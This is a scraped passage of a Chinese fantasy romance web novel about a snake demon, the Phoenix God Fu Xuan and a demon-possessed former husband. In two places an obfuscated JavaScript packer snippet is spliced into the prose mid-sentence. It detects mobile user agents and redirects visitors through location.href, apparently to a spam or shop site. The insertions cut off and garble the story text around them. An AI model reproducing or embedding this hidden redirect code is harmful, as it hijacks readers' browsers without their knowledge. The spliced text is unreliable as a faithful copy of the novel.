“没什么,我给你房里放了个糖水煮蛋,吃去吧。”想到傅玄这么些天虽然假冒身份,但对她的助力却都是实打实的大,还帮忙稳固了猪鼻蛇魂魄,花清浅那点气就消得飞快。 打发走玉京子,她收起碗想去洗,却被傅玄拦下,说让他来。 两人指尖在碗沿交叠,这场景太日常,且夜灯不知怎的太过旖旎,照得傅玄眸中满是爱意,让花清浅心神不宁。 默念上百遍清心咒,以及上千遍“他是傅玄他不会爱人”,那点不安才被压下去。 傅玄仿佛看不到她的纠结,一边洗碗,一边很坦然地让她先去洗漱,他随后就来。 “你今晚不会还要跟我一起睡吧?”花清浅再次崩溃,怀疑他是不是扮演吕浮白上瘾了,“你是傅玄,我不会跟你躺一张床上的!” “为什么。” “没有为什么,我就是不想。”上天啊她死也不要跟凤凰神君躺一张床! “可你之前说了,想要双修。”他将干净的碗碟放在一边,抬眸看她,“现在婚书已成,你也可以借我修为增进了。” 花清浅一拍脑袋,是了,就说傅玄怎么会想跟她同/床,她怎么忘了这个! “我之前不知道你是傅玄,那婚书不作数。”她干脆说道,“双修之法到底是捷径,我要堂堂正正修炼,你也忘了这回事吧。” 傅玄静静地望着她:“可我不想忘。” 她一愣。 “我不想忘。忘不了,放不下,看不破——我不是无所不能,你太高看我。”他克制着,嗓音有隐忍到极致的沙哑,像是恨不能把心剖给她看: “我也是第一次爱人。从前我真的不懂这些,小清,没人教过我。” 他比她多出那么多年岁,不能说白活,可是所谓心性、修为、境界,在情爱当中都不算什么优势。 身在嚣嚣红尘,他尚不能看清周遭,第一反应总是回避。如同花清浅一靠近,他就会乱了呼吸,本能只会冷声教她远离。 花清浅乖乖退远,他看着他们之间空旷的距离,呼吸又变得不畅,比之前更难受,且看着她委屈的样子——无论是不是装出来的,他都会心口一刺。 他不知道为何会如此,就已经把一颗心给了出去。可他以为她会明白,因为被爱的人总该先明白,他纵容她到什么地步,那算不算爱,难道她当真不懂。 那时花清浅总是一副笃定“你超爱我”的得意相,他理所应当地以为她明白,可到头才发现,原来她并没有那么自信。 她到底因为什么,会认定他不爱她。 “婚契在我这里,你没法再用八苦清火毁了。”花清浅仍愣愣听着,见暮色中他抿着唇角,将婚书展开在她面前,那上面赫然是他们两人原本的名字。 虽没有拜过天地,但有上古真神念力加持,也跟拜过没差别了。 他们是被红线死死绑定在一起的真夫妻。 “你怎么这样……”过了好久,她才找回自己的声音,“我,我当时没看清这张纸,我没想跟傅玄成亲,你这是骗婚!” 傅玄认真地看着她:“可你说过,在求偶时有些心机也是好的,你都可以不计较。” 没想到傅玄有朝一日居然以她之矛攻她之盾,花清浅没找到理由反驳,只好重申:“我那是对吕浮白讲的,不是对你讲的。我都不喜欢你了——” “无妨。”他反应极快地说,像是预料到她后面还有更激烈的言辞,想要通通堵住:“我就跟在你身边,等你喜欢上我。” “——那我喜欢上别人了呢?”花清浅还是问出了口。 “那就等你回心转意,或者他死。”他轻轻地、轻轻地提醒她,“清浅,有我在,你寿与天齐,没有别人能活得如你我一样长。” 花清浅惊呆地望着他快要绝望的眼睛,那里终于不是一口冷井,也不是一片复杂的、叫人看不透的黑沉。 那团极寒火焰清清楚楚倒映出她的身影,容不得她误解,也容不得她逃避。 凡尘俗世,七情六欲,早在一开始起,就已经常伴他身。 - 最终,花清浅还是和傅玄进了同一间卧房。 更亲密的事都做了,再拉扯就显得矫情,她在他面前丢的脸已经够多,不想再加一笔。 两人一起洗漱,她变做原形埋进浴桶,游过三圈以后说起正事:“你之前说,去泰山要准备很多东西,其实都是障眼法吧?” ——她将注意力从他本人身上转开后,很容易就想明白:凤凰神君在此,有什么是法宝能做到、而他做不到的?泰山非寻常之地,等闲神仙都免入,她若要成为例外,借助的只可能是他本人,而非什么远行必备品似的法宝。 傅玄没有反驳。 “那地方是只有上古真神才能去?” “上神就可以。”傅玄说,“但要吃些苦头。” 至于具体是什么苦头,他没有细说。 上神都要吃苦头,妖族前往,付出的代价想必更大。花清浅就知道,他原本的打算是自己替她扛了这些苦头——或许还要加一个玉京子。 她莫名有些来气:明明跟他说过,要他不可因为她伤到自己,别管这话是不是跟傅玄说的,他还是吕浮白的时候就没打算要遵守! 还保证说会听她的话,这就是他的保证,果然鸟族的嘴骗人的鬼,她就该跟他正儿八经立个字据,免得他换个身份就不认人。 “古有佛祖割肉喂鹰,今有神君替我受过,真是高尚慷慨得难分伯仲。”她忍不住阴阳怪气,“但我可不是你们鸟族,我是冷血小花蛇,你小心白白奔走一趟,结果我不领你的情,你竹篮打水一场空。” 没有打断她说话,傅玄温和地看着她,等着她碎碎念完,才隐去一丝笑意开口:“以我的修为,代你受过不会有事,你别担心。” 谁担心他了?! 花清浅恼怒地飞身跃起,甩干净水珠砸到床上,顺势裹着轻薄绸衣变成人形:“管你有事没事,反正我飞升上神之前是不会挪窝的,你不要再劝,这事就这么定了!” 傅玄静静地走过来,问她:“你真的不想早日去洗佛池开戒?” 他们夫妻一体,她借他的法力去洗佛池一趟,其实根本没什么的。 花清浅很果断地摇头。 她不想他代为承受因果,也是表明与他划清界限——她不认可那张婚契。 他很明白她这层没说出口的意思,甚至很能理解。她爱过他,尝试过爱他的滋味,实在吃痛,聪明的小花蛇晓得趋利避害,所以不会再试第二次。 心中萧索不可抑制,他垂下头,平静地认命:“好。” - 花清浅是习惯于选择性忽视掉某些记忆的。 就像她以前也跟傅玄一起过过夜——是很单纯的过夜,他们去南极洲游历,准确来说,是她听说南极洲是由海族控水筑成,有八千余里的奇幻水云可观,就撒娇耍赖闹着要去看,傅玄就带她去了。 路途遥远,他们在南极洲外岛歇下,荒郊野岭,她故意挑了个容地狭窄的法器守夜,于是傅玄与她身体的距离不足一尺。 她看着他九天冷月一样的脸,心里全是躁动不安的小火苗,很是恬不知耻地想要亵/渎天神,构思了不下十种拱进他怀里的策略。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984001|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后她到底有贼心没贼胆,没敢占太多便宜,搂着自己睡着了,但第二天一早,居然美梦成真——她一睁眼,发现傅玄的手臂环在她腰间,他从背后抱着她,气息浅浅打在她的发顶,满是守护和亲昵的意味。 当时她觉得,她和傅玄睡梦中都能滚到一起,应该是上天看她求偶辛苦,大发慈悲赐予她一点小甜头。 但如果仔细复盘一遍,就能知道,那夜两人的睡姿完全和老天无关,而是她无意识扭着细腰钻人家怀里的必然结果。 那一晚的记忆,被花清浅抛在九霄云外,但傅玄还没有忘。所以当花清浅背对着他蜷成一团,打定主意整晚都要一个姿势睡死的时候,他并不着急,只在枕头上微微阖起眼睛。 果然,她睡着后没过多久,就从侧躺变成平躺,再转过来面朝他。可惜夏日的夜晚一点也不冷,傅玄心等不及,让屋里吹起一阵风,她在睡梦中无意识向他靠,一头扎进他张开的怀抱。 她满足地蹭蹭他宽厚的胸膛,呼吸更稳定了些,仿佛小花蛇在红尘浮海游弋千日,终于回到了她生来注定的、合适舒服的地方。 ……他的小花蛇。 傅玄握住她白皙柔韧的肩膀,顺着绸衣轻轻抚上她后背,另一只手描摹过她稠丽如宝珠生辉的眼鼻轮廓,温香软玉,心里软得一塌糊涂。 他想,从前他怎么就能忍住,不在这时候亲亲她呢? 就像在南极洲外的那一夜,如果他不仅仅是顺理成章地揽过她的身子,如果他在翌日早起亲她呢,她还能质疑他不爱她吗? 如果他没有那些矜持和顾虑,如果他反应得快些,爱得快些,不要那么冥顽不灵,她是不是就没有机会离开他—— 被他心绪影响,屋内气流陡然激荡了一瞬,花清浅像是察觉到不对,长睫抖了抖,发出一声嘤咛。 她差点就要被惊醒,但睡梦中她也知道傅玄就在身边,骨子里的安全感很快打败那点警惕,于是她最后还是没醒,反而睡得更香甜了些。 傅玄低头看她。 从前许多次,他都是这样看她——不是说他病态到喜欢偷/窥她睡觉,只是他喜欢看着她,有时候她发觉了,就会大方冲他眨眨眼,有时候她没有发觉,他就会一直看下去。 尤其在长生界时,只有他们两个,她认真修炼,努力学习体术,纤细腰身在空中翻转出凌厉刁钻的弧度。小花蛇脑子灵活,学东西学得快,每每一套招式练成,收获他夸奖,她就会很得意地扬起下巴,抹去香汗笑起来,明媚得像春日花苞。 他明明那么喜欢她,喜欢到一颗心满满当当,臌胀到微微发酸。 此时小花蛇忽然偏过头,莹润的小脸贴上他胸口。软糯的触感隔着天衣传过来,傅玄浑身一颤,终于没空回想旧事,摸了摸她毛茸茸的脑后,专心沉入她梦里。 - 说好的泰山又不去了,玉京子出门见世面的机会就此落空,很是失望。 不过因为慕城有天法司坐镇后,闹事的邪魔很少,花清浅不再拘着他,让他有机会往外跑,他不日便跟着本地土地东游西晃去,倒也快活得很。 天法司不忙的时候,暮松和惜蜜也来了一趟。暮知府那本就整齐的胡须修整得更加精致,行动间掩不住的喜气洋洋,花清浅只瞥了一眼,就知道何事发生:“两位新婚呀?恭喜恭喜。” 惜蜜双脸爆红,这时傅玄从屋里出来,他刻意收敛了上古真神的气息,但小熊蜂还是吓得一哆嗦,抓着知府的袖子躲到他身后。 “不要怕,这位是凤凰神君傅玄,不吃人的。”花清浅见暮松的脸上也满是戒备,感到有些好笑,她知道傅玄不是隐藏身份的性子——装作吕浮白时除外,并没有替他遮掩。 如今飞升之事屡见不鲜,暮松对神仙也不陌生,立刻想到:“这就是姑娘师承的那位真神?” 花清浅点点头,同时被迫想到,傅玄是吕浮白,她打着凤凰神君名号吓唬人的时候他都在场,眼前又是一黑。 “难怪有如此气势。”暮松说了几句场面话,“这位也不是外人,本官就直说了……其实这次拜访,除了叙旧之外,本官还有事相求。” 事情要从昨日说起。 天法司很久没碰上棘手人物,因而司里都很清闲,为首的佛子打坐念经,司卒在底下昏昏欲睡磨洋工。这时却有一男子闯了进来,那人看着已到不惑之年,却是四肢精干,步法轻盈,有几分功夫在身上。 他自称是江湖人,携养女路过此地,他养女人叫欣儿,长得外貌姣美,因而被城里好色的纨绔看上。那纨绔要调戏他养女,被他一拳打飞,却不料隔日就寻邪法给他养女下了降头。 欣儿前夜还恨不得弄死那纨绔,隔日就哭着闹着要嫁给他,男子眼看情况不对,果断把她绑在房间柱子上,听人说这是被下了降头,天法司或许可解。 众人跟着他去瞧了欣儿,发现这女子果真被做了手脚,但叫人吃惊的不止于此。 “若说寻常混混,也有拿邪道符咒去下桃花的,但都只能迷人一时神智,并不会影响终生姻缘。”暮松肃容娓娓道来,惜蜜紧接着开口补充细节: “可那位欣儿身上的符咒,却把她命里的正缘都抹掉了,我解得指头都疼了也没解开。” 佛子是这等邪门咒术的克星,他在惜蜜之后出手,用尽了全力,却也只能从欣儿体内抽出一道腥臭的符纸,那少女的魂魄依然被锁得死紧,不得解脱。 在咒术影响之下,欣儿闹着要嫁人,疯了一般不断朝柱子撞头。男子心疼得双目赤红,怎么劝哄都没用,最终手刀劈在她后颈将人打晕,才叫她安静下来。 “清浅,你过来帮帮忙吧,那对父女看上去好可怜的……”说着说着,惜蜜忽然就愤慨起来: “下咒的那王八蛋已经抓到了,但佛子不许我动手扎他,凭什么嘛!把一个女孩儿害成这样,连人家正经姻缘都不放过,我看他死十次都不够啊!” 花清浅下意识看了眼傅玄,不知她的正缘有没有被他挡掉过。 凤凰神君平静地回望,那双古井无波的眼睛里找不到哪怕一丝丝心虚。 于是她想,以神君心性,强取豪夺还罢了,挡人姻缘这种阴损的事,那应该是没有的。 81. 第81章 “好吧,我承认。”赵刑西摊开双手,散去了一些阴阳怪气,变成一个较为正常的、死而复生的文雅前夫:“从一开始,我就是怀有目的接近你,为的只是你的妖丹。” 他原是赵音浓之子,当年赵音浓虽用小混沌戒封印了定法天怨,可定法天怨残留在她体内的附生并没有完全除掉,而是悄悄转移进了他的灵脉。 由于定法天怨一缕残魂的存在,他天生是魔,并且修为提升飞速,是最早重新飞升的朱雀之一。 但凡事有得必有失,他因定法天怨获利,便也因定法天怨遇到了瓶颈:修到上神以后,他成魔的本质再也瞒不过天道,不仅心境无法提升,还总要担心被天上同僚发现身份,一刀劈死。 就在此时,一颗妖丹满是功德金光、且遍体鳞伤的小花蛇闯进他的视野。 花清浅干巴巴地替他补全:“那时我被五色神光所伤,所以用了聚灵石起阵护心,你没法直接挖我妖丹,只好慢慢等我卸下防备。” “好高妙的计谋。”她想了想,情真意切地说,“你再坚持几个月,我那伤就能转为隐疾,撤下阵法了。你还是不够耐心。” 赵刑西看着她叹了口气,深邃眉眼盛满无奈,竟是与傅玄更像了几分:“清浅,我有没有说过,那只是一开始而已。” - 如果一切都能按照计划进行,赵刑西四十岁飞升上神,五十岁就该击败凤凰神君成为天下第一,六十岁一统神界,让六界对魔族俯首称臣。 可命运不总是眷顾他,所以他的宏图大业常年卡在第一步,之后更是在遇到花清浅后偏离正轨,一发不可收拾。 那时他不知道花清浅是天水的崽,只觉得这条小花蛇又聪明又漂亮,看着十分顺眼,挖她妖丹的时候要放轻点,尽量送她愉快上路。 花清浅没察觉到他的盘算,很顺畅地接受了他所有刻意的讨好,一丁点怀疑都没有。 虽然在西陆碰上过一位“天杀的瞎子”,很是吃了些苦,但她潜意识里还是觉得自己就应该受宠,任何人纵着她都是理所应当的,一看就是在爱里长大的小崽。 所以赵刑西一度以为她父母俱全,直到某日聊到过往,她开始抽抽噎噎掉泪珠子,他这才知道她也是孤儿。 “那你是谁抚养长大的?”他问,她回答说是自己,停了半晌又说,凤凰神君也算养了她半程。 赵刑西不能相信:“你说谁?” “凤凰神君,傅玄啊。”她将以前的事大略说了一遍,没讲太多,但赵刑西根本也不用她讲太多——他也在天上呆过,被迫对凤凰神君和小花蛇的事迹耳熟能详。 说起神君与小花蛇,天界同僚都觉得是那小花蛇强求,赵刑西却不这么想,从第一次听到这个故事,他就断定神君在把花蛇当宝贝在养。 他外表装得温雅,很少直接反驳什么,当时听一位仙长说那小花蛇迟早作茧自缚,却难得当面嘲笑出声:“若神君当真厌倦纠缠,怎么会允许她入长生界?” “那花蛇仗着天资聪颖,不过是看出神君惜才——” “神君活了多少年,见过的好苗子有多少?如今长生界人满为患了吗?”赵刑西真的忍不住了。 看一个人的真心,不要看他说什么,要看他做什么。傅玄嘴上说着要小花蛇断情绝爱,安分守己,身体却诚实得很。 光从这些人的三言两语中推断,他不仅允许小花蛇常伴身侧,亲自指点她修炼,还把什么凤羽、法器、秘籍、珍馐不要钱一样往出送…… 其他仙人还在嘴硬,说什么这是对后辈的正常爱护。真是笑话,神君出身鸟族,可他对哪只鸟族这么好过了? 纵观古往今来,他也就对那位血脉最近、锋芒最盛的孔雀族世子有过青眼,可那也是淡淡赠了两本功法了事,连他老子都没怎么召。后来那位世子陷入昏睡,也不见神君有何表示,仿佛本族兴衰荣辱皆与他无关一般。 不过这也不是赵刑西要操心的事,他刺了那群蠢货几句,也就再没把此事放在心上。直到后来那几个仙人来找,说果然还是朱雀上神洞若观火,他们竟未能参透天机。 “上神竟还不知么?那日凤凰哀鸣,声震四野,就是为的那条小花蛇啊!”一位仙人摇头叹息,“那蛇妖当真痴情,想不到有如此本事,居然能为神君挡箭。” “凤凰神君也是至情至性,妖死不能复生,他却坚持要为亡妻招魂——哎,当真是摧心折肝,一往而深!” “是啊!都说天地不仁,通悟大道者合该摒绝私念,但神君这般,却叫老朽对天道有了更深一层的体悟,天道奥妙啊……” 当今世上,能伤到傅玄的箭矢应是少之又少,却偏偏叫那小花蛇撞上了。赵刑西听过事情始末,也就一笑而过,那时他并没有想到,那条不幸的小花蛇就是花清浅。 - 花清浅仅仅在傅玄那里养了五十年,便养成了一副大胆娇憨、恃宠行凶的模样,偏她回忆起那五十年种种,竟悲从心起,很是自苦地滴下几滴晶莹剔透的泪珠来。 这小花蛇看着不傻,怎么脑回路却和几位蠢货仙人一模一样? 赵刑西觉得她哭得既矫情又没必要,唯一的优点是那张脸梨花带雨还挺好看。傅玄还是把她养得太好,一点心意得不到回应就假死遁逃,简直像是叛逆期到了离家出走的小崽子。 接受了她漂亮小蛇崽子的设定,赵刑西对她的包容度就高了许多。 他允许她在院子里试验烤鸡的一百零八种做法,再替她扫去身上灰土的狼藉。 允许她在他精心搜集(抢)来的珍贵兰花旁边松土,种上疙里疙瘩、红薯一样的植苗,她管那叫“地禾角”,说是一位慕城病患送的,结出的果子可好吃啦。 那苗子很快结出甜果,她自己都没来得及吃,只顾着要他尝尝。他看着她一派天真的脸,恶劣地想,凤凰神君就是沦陷在了这样的笑容里吗? 小花蛇美则美矣,就是笑的时候傻了点,那与生俱来的妖媚气被冲淡太多。她最美的样子,应该还是在床笫之间,尤其是情动之时,秀眉微蹙,春水生波…… 想到此处,赵刑西接过她递过来的地禾角,尾指在她手腕上轻轻搭过,随即审判似的点了点头:很好,傅玄神君也没见过她那副情状。 那么,何不让他来做第一个呢? 赵刑西就对她更加纵容,甚至允许她用他的医馆练习抓药,花蛇化为人时也颇为灵巧,腰肢纤细,容光奕奕贴在他身边。转头时柔顺青丝拂过他的胸前,他就在那一瞬间反应过来: 哦,小花蛇上钩了,还想着主动勾引他。 赵刑西只想嗤笑一声,他可是历经九尾狐族和千瓣兰花之魅术而不倒的魔神,她这点手段侮辱谁呢?他能被她勾住就怪了。 现在虚与委蛇,只是为了妖丹,顺带诱骗她展现出蛇族交尾的尽态极妍—— “夫君夫君,晚上你给我做水盆羊肉好不好?”她装模作样地称着药,不知道那片状的梅花鹿茸又怎么让她想起了羊肉,“好多日不见荤腥,我都快瘦成蛇干啦!” 赵刑西逗弄之心大起,故作姿态提醒道:“现在没有外人,你不必这么叫我。” “我叫顺口了嘛。”她红了脸,抿着唇小声嘟囔,“我没想冒犯你啊,你不爱听就算了……” 他不知不觉地说:“我没有不爱听。” 这话刚一出口,他就想要捂住自己的嘴:怎会如此,他怎么会脱口而出这样低声下气的话,这小花蛇给他施了什么妖法? 花清浅听他没有不喜欢自己,一下子又开心起来,缠着他要他做点肉吃,小花蛇不吃肉不行的,会没力气修炼。 她甚至还退了一步:“羊肉太上火就算了,果木烤猪肉也可以的,牛肉饺子、鱼排、炸虾仁,只要是肉就可以,我不挑食!” “你身上的伤还没好,不能沾荤腥,最多只能喝点肉汤。”他下意识回答。 “那就喝汤好了,能有肉味我就满足啦。”花清浅嘿嘿一笑,“要是再能喝点酒……” “想都别想。”已经破天荒让步了两次,赵刑西有些意乱地撇过头去,叫她把称药的天平放正,再不给她讨价还价的余地。 小蛇崽子搞的护心阵法并不复杂,又过了两三日,经过近距离观察,他已经有把握能解开了。 可他一直没有下手,因为他偶然发现她在偷偷往沙滩跑,竟像是要吸取那整片的海水为阵,仿照南极洲仙岛,做成朱雀飞天的灵台—— 他跟她随口提过,她知道朱雀族重新飞升有多不易,便想着略尽绵薄之力,帮他的族众借力飞天。 明明她自己还是条破壳不过两百年、迄今未飞升的小崽,倒是比他更心系朱雀族内兴衰。 “爱屋及乌”是个什么意思,赵刑西从未体会过,花清浅身体力行地让他懂了。 这小花蛇动起心来真有点意思,赵刑西按住咚咚直跳的胸口,觉得大事不妙,他恐怕要糟。 - 细细沉思一番,赵刑西完全从利己角度出发,从功德金丹和美貌深情小道侣之间做出了选择。 ——废话,他当然选道侣! 功德金丹什么时候没有,再等个百万年也等得,但花清浅这种娇惯过头的小蛇崽子变心快得很,可得马上抓住,错过就再没有了。 他做事风格一向迅捷,小花蛇没过多久就果真被他网住,主动过来同他成亲,还带着自己拟好的婚书。 良辰吉日,他们在南海之滨结契,花清浅看着浪涛里卷过的发光海星,出神地道:“这里是我们初见的地方,你救了我,还亲了我一下……或许那个时候,老天就给我们绑定了红线呢。” 小花蛇的正缘当然可以是天底下任何一个正道修士,可惜他早已入魔。赵刑西心里毫无愧疚地想着,迎着她的目光点点头。 她与他一起俯身拜天地,小花蛇眉目虔诚,嘴里还念念有词。赵刑西知道她的祷告无用,但还是跟着拜了:他不需要天地古神来保佑他们的姻缘,他自己来就够了,但他的小道侣信这个,他跟着做做也没什么不可以。 成婚之后,花清浅身上五色神光的伤还没好,两人还不能双修。她很失望地跟赵刑西抱怨,他却不甚在意,非常纵容地道:“没关系,我等你。” 等她对他皮相之下的本质有所了解,等她发现他满身魔气也离不开他,那时才是双修的最好机会;他是最有耐心的猎手,他可以等。 两人在南海之滨的金图大道定居,十几年后,因为要掩饰容貌不老,也因为花清浅实在馋慕城的地禾角,赵刑西关了医馆,带着她向内陆迁徙。 一路上走走停停,碰见哪座喜欢的小城就留下来,赵刑西开诊,花清浅抓药挣酬金。 日子过得太顺,有时魔族认出他体内的定法天怨,诚惶诚恐臣服于他,对他磕头,赵刑西都会恍惚一下,觉得现在过得实在不是为魔的日子——比做魔族实在爽太多了。 直到那一日晚上,花清浅身上五色神光的伤痕转淡,虽然标志着这伤正式成了暗伤,再也无法治愈,但好歹她“完美无瑕的身子回来了”。 为了庆祝,她不顾赵刑西阻拦,喝了好多酒,搂着他的脖子说道:“不要皱眉头嘛,这伤治不好,又不是你的错……五色神光,那可是大明王压箱底的致命杀器,我没死都算很幸运啦。” 她穿着一身豆粉色的藕丝团蝶凤尾长裙,勾勒出纤细妖冶的腰身,在脚踝处放宽了些,便于活动,那节月华一样轻盈的裙摆拖到地上,由于是神界的纱料制成,没沾到半点尘埃。 正值风冷,赵刑西给她套了身月白色的长袍,她不好好穿,把领口扯得歪歪斜斜,露出那道淡去的疤痕:“现在伤疤也淡了,我真是太幸运啦!” 再醇的酒酿也不及她活色生香,美人眉眼含春,三分醉意,细嫩的脸蛋染上薄红,微微一笑,更显容色妩媚,倾国倾城。 赵刑西紧紧握住她的手腕,将那段白得晃眼的肩颈和锁骨严严实实盖起来,另一只宽大的手掌撑在她后脑,忍不住问: “我去给你报仇,你意下如何?我们把青逸山整个掀掉,让那吕简老儿亲自来给你治。”他就不信治不好。 “那可是大明王哎,你好大的口气!”花清浅嘿嘿一笑,又灌了两口酒,“算了,你们朱雀族本就,本就很艰难,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她却像是被这个问题搞糊涂了,再也不答话,小脑袋歪进他颈窝,两眼一闭就睡过去,任他怎么摇晃也不吭声。 睡觉倒是知道要往他怀里钻,个小没良心的。 “还好最后认出来了。”赵刑西沉沉掐了把她的小脸,把她掐得睡梦中抖了个激灵,细嫩的触感终于让他消了点气,“若再把我和神君弄错,有你好受的。” 他把花清浅放到卧室的床上,她白皙幼嫩的脸颊被他掐出两弯红痕,正难受地嘟着解痛。他不仅不想帮她揉揉,还颇为恶劣地又在那片软绵绵的脸蛋上狠咬一口,留下一道泄愤的牙印。 就在他漫不经心玩弄醉酒小花蛇时,一个沙哑的声音忽然在他脑内响起:“赵,刑,西。” 是定法天怨。 随着修为与年岁的增长,他体内定法天怨的存在感也逐渐变强,不过像眼下这样直接出声还是第一次。 赵刑西心中一凛,预感这定法天怨不是来报喜的,立刻放下花清浅,设下结界飞身出了门外。 属于定法天怨的声音继续响起:“你还不杀了这蛇妖,在等什么——” 沙哑的声线充满不详,像是远古而来的劫数,震得赵刑西脑子里嗡嗡作响。 “三日为限,杀了她,拿她妖丹给我补身。”定法天怨带着点熟稔说道,这些年来他与赵刑西融为一体,自认与这朱雀也有些默契: “她是天水的女儿,就是她爹害得你娘惨死。我快能联系到小混沌戒中的世界了,你杀了她,我就带你去杀他爹,给你娘报仇。” 赵刑西凝视着面前的墙壁,像是能透过墙看到正在熟睡的、对他完全顺从、毫不设防的那条小花蛇。他静默半晌,坦然道:“好。但我一个人杀不了她,你要给我叫些帮手。” “你一个上神,杀不掉一条小花蛇?” 定法天怨语气里没有怀疑,只是觉得他废物。赵刑西不在意地一笑:“花清浅毕竟曾受傅玄指点。” 凤凰神君傅玄!定法天怨还保留着被他数次撕碎的记忆,下意识提高了警惕,破釜沉舟道:“那是有点麻烦,我把这方圆百里内能联系到的旧族都调来给你。” 赵刑西眸光闪了闪,问道:“只有百里内么?” “魔气不充裕,我只能号召这么多了!再说了,这么多人对付一条蛇绰绰有余。” 赵刑西了然地一点头。 于是隔天晚上,血月当空,方圆百里从高阶到末等的魔族齐齐攻向赵氏医馆。 赵刑西磨着刀在等。 花清浅一无所觉,等设在小镇内圈的结界被冲破,她才意识到不对劲:“夫君,你有没有察觉到——” “魔族来袭。”终于来了,他一面想着,一面最后一次摩挲着她小巧精致的下巴,摆出运筹帷幄的模样,“他们已经将这里包围了,北面包围圈最弱,你从那里冲出去,找云间道长救命。快走!” 花清浅放出水晶查看魔族数量,“可是过来的魔族这么多,你一个人怎么顶得住——” “你抓紧去找那位道长搬援兵,或许为夫还能留一个全尸。”小花蛇关键时刻也挺不好糊弄,不想让她察觉到不对劲,赵刑西只能拿诛心的话打断她,“听话。” 花清浅被迫飞身御风,纤细的身影如离弦之箭般朝北面射去。 临走时,她有预感般回头望了一眼,只见赵刑西穿着藏青色的长衫立在原地,仿如一个暗夜草木化成的幽魂,在故人的记忆里轻轻一抹就会消失不见。 她只看了一眼便匆匆回头,专心御风,因而没有看到赵刑西下一刻就化为了原形。 朱雀身形英伟,占满一整个院子,身上漆黑的魔纹翻滚挣动,纠集成诡异的符咒,将一团黑雾硬生生从体内扯了出来! “你在做什么——你想做什么!你个孽种、竟敢使调虎离山计——”定法天怨被他凝出体外,却也不甘心就这么消散,仍死死粘连、攀住他的一边翅膀:“你真是跟你娘一模一样,为了个道侣不知死活!那我就成全你——” 82. 第82章 定法天怨早已长成赵刑西的一部分,某种意义上与他同生共死,赵刑西没法彻底消灭他,因为那就等于消灭他自己。 但他做不到,不代表不可以借力打力。 他将定法天怨禁锢在翅膀尖,慢悠悠地看着浩浩荡荡围攻而来的魔族,冲在最前面的是一头入魔的狼妖,举着从同族嘴里敲下的狼牙棒朝他猛挥过来。 “哎呀,多谢你替我动手。”他笑眯眯地说道,拎着定法天怨迎上去,两股黑气相撞,狼魔当场毙命,定法天怨的影子却也淡了一分。 定法天怨没想到他会把这么阴损的招用在自己身上,顿时咆哮如雷:“赵刑西!你疯了!你以为你的修为都是怎么来的,我没了你也别想好过——” “哦。”赵刑西扇动翅膀,优雅地在空中翻了个身,躲过一圈魔族群攻,又将定法天怨送出去,“那不好意思,谁让你惹到我娘子了呢。” 本来他以为定法天怨只是一道模糊的阴影,可没想到他居然会说话。今天这玩意能在他脑子里发号施令,明天是不是就会夺舍? 这团魔物本就是诡谲的存在,别说魔族,就是心有怨气的普通人也会被其附生。心性使然,赵刑西身边得用的又全是偏激之辈,花清浅继续呆在这里,只会变得越来越危险。 他只能趁机送她走,越远越好。 - 那个道长是赵刑西编出来的,花清浅向北突围后,自然找不到什么援兵。 她很快反应过来自己被诓,果断朝最近认识的大妖与散仙传信,以人情和法器为交换,集结了短时间内可以集结的一切兵力,转头反攻回去。 但等她带着大军回到赵氏医馆,那里却早已人去楼空,准确来说,整个小镇都被扫荡一空,到处是断肢和居民的人头,没有留下哪怕一个活着的生命。 魔族如潮水般袭来又退去,还带走了赵刑西的踪迹,只有医馆外一道藏青色的衣角半截埋在地里,上面满是血迹和黑色的泥印。 到了这个时候,一向不承认山穷水尽的花清浅也只能想到最坏的结果。 她打开了乾坤袋,取出赵刑西放在里面的鸢尾花——果不其然,那朵花的花瓣全部凋谢,花蕊枯萎,象征着她夫君的性命已经油尽灯枯。 - “之后我不是不想见你,只是定法天怨太难缠,碰见个魔族就能转移,我一直追杀他到现在……对了,那朵鸢尾花你还留着吗?”赵刑西歪头问道,似乎是突然想到了有这么回事。 花清浅当然留着。 她还将那朵花作为封印朱雀飞天灵台的法门,永远地封存在了乾坤袋深处——当时想着赵刑西既死,她也不想再为朱雀族建什么飞天台,就是这么一条自私小气的小花蛇。 但她没有立刻回答他的问题。 感情是最不能掺假的东西,无论他后来所作所为有多自我感动,她也不会忘记,一开始就是他把危险带到自己身边的。 对于这种不纯粹的爱,她已经不怎么在意了。如今她更在意的,是另一件事。 “神君。”她转向傅玄问道,“你当真喜欢我么?” 赵刑西正要说定法天怨的下落呢,闻言已经没什么脾气地翻了个白眼。 傅玄郑重点头。 “那如果、如果我冲动之下干了错事,闯了大祸,譬如弑君篡位之类的,你会依照天规处置我吗?” “自然不会——你怎么会这么想?”不知道她为何又忽然问起这个,但傅玄还是认真答道: “如果你说的是前蛇□□虺,那必定不会。他所作所为已不配称王,如果你一定要杀了他,我只会担心你因此染上戾气,移了性情。” 傅玄不至于会拿这事跟她撒谎,花清浅严肃起来:“可是我从日月潭里看到,我杀了丹虺之后,你亲手把我捉拿归案,遵循天规抽我妖筋……” 她回忆起日月潭中所见所闻,语气里还有一丝隐藏很好的后怕。 傅玄反应极快,立刻想到这是她上古血脉扰乱了日月潭所致,也想到了这就是她坚信自己不被爱的原因。 原来如此,竟是如此——换成任何一个人见了那样惨烈的未来,都要怀疑他到底有没有心,怎么能做到那么无情。 他心中震悚,几乎不忍再听,但也知晓眼下是解开误会的唯一机会,硬生生控制住没有打断她,等她说完后才一把将她拉入怀里。 赵刑西:“我还在这呢,定法天怨……算了。” 